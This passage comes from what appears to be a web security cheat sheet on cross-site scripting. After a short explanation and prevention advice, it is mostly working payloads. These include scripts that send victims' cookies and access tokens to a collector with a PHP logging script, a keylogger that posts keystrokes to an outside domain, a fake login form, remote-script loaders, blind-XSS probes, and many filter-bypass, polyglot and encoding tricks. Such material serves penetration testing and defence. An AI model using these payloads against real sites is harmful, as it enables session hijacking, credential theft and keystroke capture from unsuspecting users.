in their browsers, allowing the attacker to perform various actions. * **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code. To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code. ## Exploit code or POC ### Data grabber for XSS Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page. ```html <script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script> <script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script> <script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script> <script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script> ``` Write the collected data into a file. ```php <?php $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie."\r\n"); fclose($fp); ?> ``` ### CORS ```html <script> fetch('https://<SESSION>.burpcollaborator.net', { method: 'POST', mode: 'no-cors', body: document.cookie }); </script> ``` ### UI redressing Leverage the XSS to modify the HTML content of the page in order to display a fake login form. ```html <script> history.replaceState(null, null, '../../../login'); document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>" </script> ``` ### Javascript keylogger Another way to collect sensitive data is to set a javascript keylogger. ```javascript <img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'> ``` ### Other ways More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) - [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/) - [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html) - [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html) - [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html) - [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html) ## Identify an XSS endpoint This payload opens the debugger in the developer console rather than triggering a popup alert box. ```javascript <script>debugger;</script> ``` Modern applications with content hosting can use [sandbox domains][sandbox-domains] > to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data. [sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing. Better payload replacing `<script>alert(1)</script>`: ```html <script>alert(document.domain.concat("\n").concat(window.origin))</script> ``` While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developer console (doesn't require any interaction). Example: ```html <script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script> ``` References: - [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain) - [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c) - [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/) ### Tools Most tools are also suitable for blind XSS attacks: * [XSSStrike](https://github.com/s0md3v/XSStrike): Very popular but unfortunately not very well maintained * [xsser](https://github.com/epsylon/xsser): Utilizes a headless browser to detect XSS vulnerabilities * [Dalfox](https://github.com/hahwul/dalfox): Extensive functionality and extremely fast thanks to the implementation in Go * [XSpear](https://github.com/hahwul/XSpear): Similar to Dalfox but based on Ruby * [domdig](https://github.com/fcavallarin/domdig): Headless Chrome XSS Tester ## XSS in HTML/Applications ### Common Payloads ```javascript // Basic payload <script>alert('XSS')</script> <scr<script>ipt>alert('XSS')</scr<script>ipt> "><script>alert('XSS')</script> "><script>alert(String.fromCharCode(88,83,83))</script> <script>\u0061lert('22')</script> <script>eval('\x61lert(\'33\')')</script> <script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm" <object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;"> // Img payload <img src=x onerror=alert('XSS');> <img src=x onerror=alert('XSS')// <img src=x onerror=alert(String.fromCharCode(88,83,83));> <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));> <img src=x:alert(alt) onerror=eval(src) alt=xss> "><img src=x onerror=alert('XSS');> "><img src=x onerror=alert(String.fromCharCode(88,83,83));> // Svg payload <svg onload=alert(1)> <svg/onload=alert('XSS')> <svg onload=alert(1)// <svg/onload=alert(String.fromCharCode(88,83,83))> <svg id=alert(1) onload=eval(id)> "><svg/onload=alert(String.fromCharCode(88,83,83))> "><svg/onload=alert(/XSS/) <svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script) <svg><script>alert('33') <svg><script>alert&lpar;'33'&rpar; // Div payload <div onpointerover="alert(45)">MOVE HERE</div> <div onpointerdown="alert(45)">MOVE HERE</div> <div onpointerenter="alert(45)">MOVE HERE</div> <div onpointerleave="alert(45)">MOVE HERE</div> <div onpointermove="alert(45)">MOVE HERE</div> <div onpointerout="alert(45)">MOVE HERE</div> <div onpointerup="alert(45)">MOVE HERE</div> ``` ### XSS using HTML5 tags ```javascript <body onload=alert(/XSS/.source)> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video/poster/onerror=alert(1)> <video><source onerror="javascript:alert(1)"> <video src=_ onloadstart="alert(1)"> <details/open/ontoggle="alert`1`"> <audio src onloadstart=alert(1)> <marquee onstart=alert(1)> <meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter> <body ontouchstart=alert(1)> // Triggers when a finger touch the screen <body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen <body ontouchmove=alert(1)> // When a finger is dragged across the screen. ``` ### XSS using a remote JS ```html <svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'> <script src=14.rs> // you can also specify an arbitrary payload with 14.rs/#payload e.g: 14.rs/#alert(document.domain) ``` ### XSS in hidden input ```javascript <input type="hidden" accesskey="X" onclick="alert(1)"> Use CTRL+SHIFT+X to trigger the onclick event ``` ### XSS when payload is reflected capitalized ```javascript <IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)> ``` ### DOM based XSS Based on a DOM XSS sink. ```javascript #"><img src=/ onerror=alert(2)> ``` ### XSS in JS Context ```javascript -(confirm)(document.domain)// ; alert(1);// // (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic) ``` ## XSS in wrappers javascript and data URI XSS with javascript: ```javascript javascript:prompt(1) %26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341 &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41 We can encode the "javascript:" in Hex/Octal \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) \152\141\166\141\163\143\162\151\160\164\072alert(1) We can use a 'newline character' java%0ascript:alert(1) - LF (\n) java%09script:alert(1) - Horizontal tab (\t) java%0dscript:alert(1) - CR (\r) Using the escape character \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) Using the newline and a comment // javascript://%0Aalert(1) javascript://anything%0D%0A%0D%0Awindow.alert(1) ``` XSS with data: ```javascript data:text/html,<script>alert(0)</script> data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> ``` XSS with vbscript: only IE ```javascript vbscript:msgbox("XSS") ``` ## XSS in files ** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup. ```xml <name> <value><![CDATA[<script>confirm(document.domain)</script>]]></value> </name> ``` ### XSS in XML ```xml <html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> ``` ### XSS in SVG ```xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.domain); </script> </svg> ``` ### XSS in SVG (short) ```javascript <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg> <svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg> <svg><title><![CDATA[</title><script>alert(3)</script>]]></svg> ``` ### XSS in Markdown ```csharp [a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` ### XSS in SWF flash application ```powershell Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); ``` more payloads in ./files ### XSS in SWF flash application ``` flashmediaelement.swf?jsinitfunctio%gn=alert`1` flashmediaelement.swf?jsinitfunctio%25gn=alert(1) ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000 swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);// swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf plupload.flash.swf?%#target%g=alert&uid%g=XSS& moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true video-js.swf?readyFunction=alert(1) player.swf?playerready=alert(document.cookie) player.swf?tracecall=alert(document.cookie) banner.swf?clickTAG=javascript:alert(1);// io.swf?yid=\"));}catch(e){alert(1);}// video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29 bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}// phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}// ``` ### XSS in CSS ```html <!DOCTYPE html> <html> <head> <style> div { background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>"); background-color: #cccccc; } </style> </head> <body> <div>lol</div> </body> </html> ``` ## XSS in PostMessage > If the target origin is asterisk * the message can be sent to any domain has reference to the child page. ```html <html> <body> <input type=button value="Click Me" id="btn"> </body> <script> document.getElementById('btn').onclick = function(e){ window.poc = window.open('http://www.redacted.com/#login'); setTimeout(function(){ window.poc.postMessage( { "sender": "accounts", "url": "javascript:confirm('XSS')", }, '*' ); }, 2000); } </script> </html> ``` ## Blind XSS ### XSS Hunter > XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service. XSS Hunter is deprecated, it was available at [https://xsshunter.com/app](https://xsshunter.com/app). You can set up an alternative version * Self-hosted version from [mandatoryprogrammer/xsshunter-express](https://github.com/mandatoryprogrammer/xsshunter-express) * Hosted on [xsshunter.trufflesecurity.com](https://xsshunter.trufflesecurity.com/) ```xml "><script src="https://js.rip/<custom.name>"></script> "><script src=//<custom.subdomain>.xss.ht></script> <script>$.getScript("//<custom.subdomain>.xss.ht")</script> ``` ### Other Blind XSS tools - [sleepy-puppy - Netflix](https://github.com/Netflix-Skunkworks/sleepy-puppy) - [bXSS - LewisArdern](https://github.com/LewisArdern/bXSS) - [ezXSS - ssl](https://github.com/ssl/ezXSS) ### Blind XSS endpoint - Contact forms - Ticket support - Referer Header - Custom Site Analytics - Administrative Panel logs - User Agent - Custom Site Analytics - Administrative Panel logs - Comment Box - Administrative Panel ### Tips You can use a [Data grabber for XSS](#data-grabber-for-xss) and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool. Eg. payload ```html <script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script> ``` Eg. one-line HTTP server: ``` $ ruby -run -ehttpd . -p8080 ``` ## Mutated XSS Use browsers quirks to recreate some HTML tags when it is inside an `element.innerHTML`. Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/. ```javascript <noscript><p title="</noscript><img src=x onerror=alert(1)>"> ``` ## Polyglot XSS Polyglot XSS - 0xsobky ```javascript jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ``` Polyglot XSS - Ashar Javed ```javascript ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` Polyglot XSS - Mathias Karlsson ```javascript " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` Polyglot XSS - Rsnake ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` Polyglot XSS - Daniel Miessler ```javascript ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* ``` Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) ```javascript -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> ``` ```javascript <svg%0Ao%00nload=%09((pro\u006dpt))()// ``` Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml) ```javascript # by crlf javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> # by europa javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//> # by EdOverflow javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//> # by h1/ragnar javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>` ``` Polyglot XSS - from [brutelogic](https://brutelogic.com.br/blog/building-xss-polyglots/) ```javascript JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--> ``` ## Filter Bypass and exotic payloads ### Bypass case sensitive ```javascript <sCrIpt>alert(1)</ScRipt> ``` ### Bypass tag blacklist ```javascript <script x> <script x>alert('XSS')<script y> ``` ### Bypass word blacklist with code evaluation ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` ### Bypass with incomplete html tag Works on IE/Firefox/Chrome/Safari ```javascript <img src='1' onerror='alert(0)' < ``` ### Bypass quotes for string ```javascript String.fromCharCode(88,83,83) ``` ### Bypass quotes in script tag ```javascript http://localhost/bla.php?test=</script><script>alert(1)</script> <html> <script> <?php echo 'foo="text '.$_GET['test'].'";';`?> </script> </html> ``` ### Bypass quotes in mousedown event You can bypass a single quote with &#39; in an on mousedown event handler ```javascript <a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a> ``` ### Bypass dot filter ```javascript <script>window['alert'](document['domain'])</script> ``` Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777` http://www.geektools.com/cgi-bin/ipconv.cgi ```javascript <script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script> ``` Base64 encoding your XSS payload with Linux command: IE. `echo -n "alert(document.cookie)" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==` ### Bypass parenthesis for string ```javascript alert`1` setTimeout`alert\u0028document.domain\u0029`; ``` ### Bypass parenthesis and semi colon ```javascript // From @garethheyes <script>onerror=alert;throw 1337</script> <script>{onerror=alert}throw 1337</script> <script>throw onerror=alert,'some string',123,'haha'</script> // From @terjanq <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script> // From @cgvwzq <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script> ``` ### Bypass onxxxx= blacklist ```javascript <object onafterscriptexecute=confirm(0)> <object onbeforescriptexecute=confirm(0)> // Bypass onxxx= filter with a null byte/vertical tab <img src='1' onerror\x00=alert(0) /> <img src='1' onerror\x0b=alert(0) /> // Bypass onxxx= filter with a '/' <img src='1' onerror/=alert(0) /> ``` ### Bypass space filter ```javascript // Bypass space filter with "/" <img/src='1'/onerror=alert(0)> // Bypass space filter with 0x0c/^L <svg onload = alert(1) > $ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al 00000010: 6572 7428 3129 0c3e 0a ert(1).>. ``` ### Bypass email filter ([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)) ```javascript "><svg/onload=confirm(1)>"@x.y ``` ### Bypass document blacklist ```javascript <div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script> window["doc"+"ument"] ``` ### Bypass document.cookie blacklist This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements. ``` window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);}); ``` ### Bypass using javascript inside a string ```javascript <script> foo="text </script><script>alert(1)</script>"; </script> ``` ### Bypass using an alternate way to redirect ```javascript location="http://google.com" document.location = "http://google.com" document.location.href="http://google.com" window.location.assign("http://google.com") window['location']['href']="http://google.com" ``` ### Bypass using an alternate way to execute an alert From [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040) tweet. ```javascript window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); ``` From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**. ```javascript c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 5 ``` Then calling alert is : ```javascript Object.keys(self)[5] // "alert" self[Object.keys(self)[5]]("1") // alert("1") ``` We can find "alert" with a regular expression like ^a[rel]+t$ : ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a() // then you can use a() with Object.keys self[Object.keys(self)[a()]]("1") // alert("1") ``` Oneliner: ```javascript a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1") ``` From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet. ```javascript prompt`${document.domain}` document.location='java\tscript:alert(1)' document.location='java\rscript:alert(1)' document.location='java\tscript:alert(1)' ``` From [@404death](https://twitter.com/404death/status/1011860096685502464) tweet. ```javascript eval('ale'+'rt(0)'); Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; constructor.constructor("aler"+"t(3)")(); [].filter.constructor('ale'+'rt(4)')(); top["al"+"ert"](5); top[8680439..toString(30)](7); top[/al/.source+/ert/.source](8); top['al\x65rt'](9); open('java'+'script:ale'+'rt(11)'); location='javascript:ale'+'rt(12)'; setTimeout`alert\u0028document.domain\u0029`; setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; ``` Bypass using an alternate way to trigger an alert ```javascript var i = document.createElement("iframe"); i.onload = function(){ i.contentWindow.alert(1); } document.appendChild(i); // Bypassed security XSSObject.proxy = function (obj, name, report_function_name, exec_original) { var proxy = obj[name]; obj[name] = function () { if (exec_original) { return proxy.apply(this, arguments); } }; XSSObject.lockdown(obj, name); }; XSSObject.proxy(window, 'alert', 'window.alert', false); ``` ### Bypass ">" using nothing You don't need to close your tags. ```javascript <svg onload=alert(1)// ``` ### Bypass "<" and ">" using < and > Unicode Character U+FF1C and U+FF1E ```javascript <script/src=//evil.site/poc.js> ``` ### Bypass ";" using another character ```javascript 'te' * alert('*') * 'xt'; 'te' / alert('/') / 'xt'; 'te' % alert('%') % 'xt'; 'te' - alert('-') - 'xt'; 'te' + alert('+') + 'xt'; 'te' ^ alert('^') ^ 'xt'; 'te' > alert('>') > 'xt'; 'te' < alert('<') < 'xt'; 'te' == alert('==') == 'xt'; 'te' & alert('&') & 'xt'; 'te' , alert(',') , 'xt'; 'te' | alert('|') | 'xt'; 'te' ? alert('ifelsesh') : 'xt'; 'te' in alert('in') in 'xt'; 'te' instanceof alert('instanceof') instanceof 'xt'; ``` ### Bypass using HTML encoding ```javascript %26%2397;lert(1) &#97;&#108;&#101;&#114;&#116; ></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> ``` ### Bypass using Katakana Using the [Katakana](https://github.com/aemkei/katakana.js) library. ```javascript javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')() ``` ### Bypass using Cuneiform ```javascript 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")() ``` ### Bypass using Lontara ```javascript ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")() ``` More alphabets on http://aem1k.com/aurebesh.js/# ### Bypass using ECMAScript6 ```html <script>alert&DiacriticalGrave;1&DiacriticalGrave;</script> ``` ### Bypass using Octal encoding ```javascript javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' ``` ### Bypass using Unicode ```javascript Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESS­THAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ %EF%BC%9E becomes > %EF%BC%9C becomes < ``` Bypass using Unicode converted to uppercase ```javascript İ (%c4%b0).toLowerCase() => i ı (%c4%b1).toUpperCase() => I ſ (%c5%bf) .toUpperCase() => S K (%E2%84%AA).toLowerCase() => k <ſvg onload=... > become <SVG ONLOAD=...> <ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=> ``` ### Bypass using UTF-7 ```javascript +ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4- ``` ### Bypass using UTF-8 ```javascript < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9 ``` ### Bypass using UTF-16be ```javascript %00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00 \x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00> ``` ### Bypass using UTF-32 ```js %00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using BOM Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page ```js BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E BOM Character for UTF-32 Encoding: Big Endian : 0x00 0x00 0xFE 0xFF Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E ``` ### Bypass using weird encoding or native interpretation ```javascript <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe> 